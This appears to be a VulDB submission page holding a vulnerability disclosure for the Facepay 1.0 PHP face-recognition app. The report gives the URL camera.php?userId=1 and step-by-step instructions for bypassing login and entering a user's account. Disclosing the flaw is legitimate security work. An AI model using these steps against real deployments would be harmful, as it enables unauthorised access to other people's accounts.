| Titre | Horizontal authentication bypass through url in face recognition system |
|---|
| Description | # Exploit Title: Horizontal authentication bypass through url in face-recognition-php
# Exploit Author: Sahil Prasad
# Vendor Homepage: https://diyaact.com/php-source-code/face-recognition-php.zip
# Software Link: https://diyaact.com/php-source-code/face-recognition-php.zip
# Version: v1.0
# Tested on: Windows 11, Apache
Description: Horizontal authentication bypass is a vulnerability where an advisory is able to open post login page without authentication and able to get into users account without authentication.
Vulnerable Parameters:
/face-recognition-php/facepay-master/camera.php?userId=1
Payload:
change the url to index.php => camera.php?userId=1 and you will be redirected to this page without doing login
Steps:
1) Go to website
2) Now you redirect to this http://localhost/face-recognition-php/facepay-master/index.php
3) Now it will ask for you to enter the login credentials , you to have change the url to this http://localhost/face-recognition-php/facepay-master/camera.php?userId=1
4) After hiting tha url you will directly gor login in the account |
|---|
| La source | ⚠️ https://github.com/jusstSahil/poc_face-recognition-php/blob/main/poc |
|---|
| Utilisateur | JustSahil (UID 33806) |
|---|
| Soumission | 08/12/2022 19:04 (il y a 4 ans) |
|---|
| Modérer | 11/12/2022 08:25 (3 days later) |
|---|
| Statut | Dupliqué |
|---|
| Entrée VulDB | 214789 [Facepay 1.0 camera.php userId élévation de privilèges] |
|---|
| Points | 0 |
|---|